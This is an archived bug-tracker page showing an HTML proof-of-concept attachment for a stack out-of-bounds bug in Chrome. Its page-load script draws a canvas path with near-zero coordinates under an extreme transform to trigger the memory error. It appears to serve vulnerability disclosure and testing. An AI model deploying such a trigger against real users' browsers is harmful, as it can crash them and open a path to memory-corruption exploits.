Project is archived and read-only.

Issue 1708 attachment: poc_stack_oob_chrome.html (956 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>
<body>
<body onload="go()">
<canvas id="canvas" width="24" height="24"></canvas>
<script>

function go() {
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");

var points = [];
points[0] = [0, 2];
points[1] = [0, 1];
points[2] = [1, 0];
points[3] = [2, 0];
points[4] = [3, 23.5];
points[5] = [23, 24];
points[6] = [24, 24];
points[7] = [4, 23.5];
points[8] = [3, 0];
points[9] = [2, 0];
points[10] = [1, 1];
points[11] = [1, 2];

for(var i=0;i<12;i++) {
points[i][1] = points[i][1] * 1e-30;
}

for(var i=0;i<12;i++) {
points[i][1] = points[i][1] + points[i][0] * 1e-28;
}

var path = new Path2D();
path.moveTo(points[0][0], points[0][1]);
for(var i=1; i<12; i++) {
path.lineTo(points[i][0], points[i][1]);
}
path.closePath();

ctx.setTransform(1, -100, 0, 1e+30, 0, 0);
ctx.fill(path);
}

</script>
</body>